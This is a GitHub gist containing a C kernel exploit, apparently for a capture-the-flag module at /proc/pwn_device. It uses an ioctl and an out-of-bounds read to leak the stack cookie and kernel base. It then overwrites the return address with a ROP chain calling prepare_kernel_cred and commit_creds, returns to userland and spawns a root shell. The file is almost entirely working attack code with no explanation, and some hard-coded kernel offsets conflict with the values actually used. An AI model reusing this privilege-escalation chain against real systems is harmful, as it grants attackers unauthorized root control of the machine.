Skip to content

Instantly share code, notes, and snippets.

@X3eRo0
Created November 16, 2021 07:37
Show Gist options
  • Save X3eRo0/86a628c73652ef2a94864ce2bfbb3f25 to your computer and use it in GitHub Desktop.
Save X3eRo0/86a628c73652ef2a94864ce2bfbb3f25 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#if HAVE_STROPTS_H
#include <stropts.h>
#endif
#define PAGE_SIZE 0x001000
#define POP_RAX 0x00dc1e /* pop rax ; ret */
#define POP_RDI 0x001518 /* pop rdi ; ret */
#define POP_RDX 0x034b72 /* pop rdx ; ret */
#define MOV_RDI_RAX 0x3b3504 /* mov rdi, rax ; jne 0xffffffff813b34f1 ; xor eax, eax ; ret */
#define CMP_RDX_8 0xa30061 /* cmp rdx, 8 ; jne 0xffffffff81a3003e ; ret */
#define SWAPGS_RESTORE 0xc00a45 /* swapgs_restore_regs_and_return_to_usermode + 22 */
#define PREPARE_KERNEL_CRED 0x0cc140 /* prepare_kernel_cred */
#define COMMIT_CREDS 0x0cbdd0 /* commit_creds */
#define KERN_BASE 0xffffffff81000000
char exploit[0x1000]; /* exploit buffer */
uint64_t counter = 0; /* counter */
int fd = 0; /* file descriptor for pwn_device */
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
void hexdump(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) { printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
void telescope(char * buffer, int size){
size = size - (size % 8);
for (int i = 0; i < size; i+=8){
printf("[0x%.3x] 0x%.16lx\n", i, *(uint64_t *)&buffer[i]);
}
}
int s08(char a, int len){
for (int i = 0; i < len; i++){
exploit[counter + i] = a;
}
counter += len;
return len;
}
int s64(uint64_t val){
*(uint64_t *)(exploit + counter) = val;
counter += 8;
return counter;
}
void get_device(){
fd = open("/proc/pwn_device", O_RDWR);
if (fd < 0){
puts("[!] Failed to open device");
} else {
puts("[*] Opened device");
}
}
int do_ioctl(int cmd, int arg){
return ioctl(fd, cmd, arg);
}
int do_write(char * buffer, int size){
return write(fd, buffer, size);
}
int do_read(char * buffer, int size){
return read(fd, buffer, size);
}
int main(){
/* save state */
save_state();
/* pwn device fd */
get_device();
/* set MaxBuffer to 0x1000 */
do_ioctl(32, 0x1000);
/* leak stack_cookie */
memset(exploit, 0, 0x1000);
do_read(exploit, 0x400);
/* telescope(exploit, 0x400); */
uint64_t stack_cookie = *(uint64_t *)&exploit[0x80];
uint64_t kernel_base = *(uint64_t *)&exploit[0x90] - 0x23e347;
uint64_t commit_creds = kernel_base + 0x87e80;
uint64_t prepare_kernel_cred = kernel_base + 0x881c0;
printf("[+] Stack Cookie : 0x%.16lx\n", stack_cookie);
printf("[+] Kernel Base : 0x%.16lx\n", kernel_base);
int cookie_offset = 128/8;
int return_offset = 144/8;
memset(exploit, '\0', 0x1000);
/* ROP CHAIN */
counter += cookie_offset * 8;
s64(stack_cookie);
counter += return_offset * 8 - counter;
s64(kernel_base + POP_RDI);
s64(0);
s64(prepare_kernel_cred);
s64(kernel_base + POP_RDX);
s64(0x8);
s64(kernel_base + CMP_RDX_8);
s64(kernel_base + MOV_RDI_RAX);
s64(commit_creds);
s64(kernel_base + SWAPGS_RESTORE);
s64(0);
s64(0);
s64((uint64_t)get_shell);
s64(user_cs);
s64(user_rflags);
s64(user_sp);
s64(user_ss);
/* TRIGGER BUG AND GET ROOT */
do_write((char *)exploit, 0x800);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment